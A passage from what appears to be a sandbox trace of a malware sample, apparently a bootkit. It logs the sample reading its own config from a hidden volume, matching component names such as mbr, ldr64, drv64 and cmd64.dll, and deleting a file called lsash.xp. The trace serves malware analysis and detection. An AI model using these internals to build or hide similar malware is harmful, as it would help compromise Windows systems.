VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.785] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.785] IdePortDispatch () returned 0x103 [0126.785] KeWaitForMutexObject () returned 0x0 [0126.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.785] KeLeaveCriticalRegion () [0126.785] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.785] KeEnterCriticalRegion () [0126.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0126.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.785] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.785] IdePortDispatch () returned 0x103 [0126.786] KeWaitForMutexObject () returned 0x0 [0126.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.786] IdePortDispatch () returned 0x103 [0126.786] KeWaitForMutexObject () returned 0x0 [0126.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.786] KeLeaveCriticalRegion () [0126.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.787] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.787] KeEnterCriticalRegion () [0126.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] KeLeaveCriticalRegion () [0126.787] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.787] KeEnterCriticalRegion () [0126.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] KeLeaveCriticalRegion () [0126.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.787] KeEnterCriticalRegion () [0126.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] ExFreePoolWithTag (P=0xfffffa8003accb30, Tag=0x0) [0126.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.787] KeLeaveCriticalRegion () [0126.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.787] ReleaseMutex (hMutex=0xf0) returned 1 [0126.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.788] KeEnterCriticalRegion () [0126.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.788] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.788] IdePortDispatch () returned 0x103 [0126.788] KeWaitForMutexObject () returned 0x0 [0126.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0c80 [0126.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.788] KeLeaveCriticalRegion () [0126.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.788] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.788] KeEnterCriticalRegion () [0126.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.788] KeLeaveCriticalRegion () [0126.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.788] KeEnterCriticalRegion () [0126.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.789] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.789] IdePortDispatch () returned 0x103 [0126.789] KeWaitForMutexObject () returned 0x0 [0126.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.789] KeLeaveCriticalRegion () [0126.789] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.789] KeEnterCriticalRegion () [0126.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0126.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.789] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.789] IdePortDispatch () returned 0x103 [0126.789] KeWaitForMutexObject () returned 0x0 [0126.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.790] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.790] IdePortDispatch () returned 0x103 [0126.790] KeWaitForMutexObject () returned 0x0 [0126.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.790] KeLeaveCriticalRegion () [0126.790] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.790] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.790] KeEnterCriticalRegion () [0126.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] KeLeaveCriticalRegion () [0126.791] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.791] KeEnterCriticalRegion () [0126.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.791] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003acc8e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] KeLeaveCriticalRegion () [0126.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.791] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.791] KeEnterCriticalRegion () [0126.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] ExFreePoolWithTag (P=0xfffffa80037e0c80, Tag=0x0) [0126.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] KeLeaveCriticalRegion () [0126.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.791] ReleaseMutex (hMutex=0xf0) returned 1 [0126.791] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.791] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.791] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.791] KeEnterCriticalRegion () [0126.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.791] IdePortDispatch () returned 0x103 [0126.791] KeWaitForMutexObject () returned 0x0 [0126.792] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.792] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.792] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.792] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.792] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.792] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.792] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.792] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.792] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.792] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.792] KeLeaveCriticalRegion () [0126.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.792] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.792] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.792] KeEnterCriticalRegion () [0126.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.792] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.792] IdePortDispatch () returned 0x103 [0126.792] KeWaitForMutexObject () returned 0x0 [0126.793] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.793] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.793] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.793] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.793] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.793] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.793] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.793] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.793] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.793] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.793] KeLeaveCriticalRegion () [0126.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.793] ReleaseMutex (hMutex=0x100) returned 1 [0126.793] Sleep (dwMilliseconds=0x2bf20) [0126.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ec5bfd0, dwHighDateTime=0x1d24fa4)) [0126.801] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.801] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.801] KeEnterCriticalRegion () [0126.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.801] IdePortDispatch () returned 0x103 [0126.802] KeWaitForMutexObject () returned 0x0 [0126.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.802] KeLeaveCriticalRegion () [0126.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.803] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.803] KeEnterCriticalRegion () [0126.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.803] KeLeaveCriticalRegion () [0126.803] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.803] KeEnterCriticalRegion () [0126.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.803] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.803] IdePortDispatch () returned 0x103 [0126.803] KeWaitForMutexObject () returned 0x0 [0126.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.803] KeLeaveCriticalRegion () [0126.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.803] KeEnterCriticalRegion () [0126.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0126.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.804] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.804] IdePortDispatch () returned 0x103 [0126.804] KeWaitForMutexObject () returned 0x0 [0126.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.804] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.804] IdePortDispatch () returned 0x103 [0126.804] KeWaitForMutexObject () returned 0x0 [0126.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.804] KeLeaveCriticalRegion () [0126.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.805] KeEnterCriticalRegion () [0126.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.805] KeLeaveCriticalRegion () [0126.805] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.805] KeEnterCriticalRegion () [0126.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.805] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.805] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.805] KeLeaveCriticalRegion () [0126.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.805] KeEnterCriticalRegion () [0126.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.806] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.806] KeLeaveCriticalRegion () [0126.806] 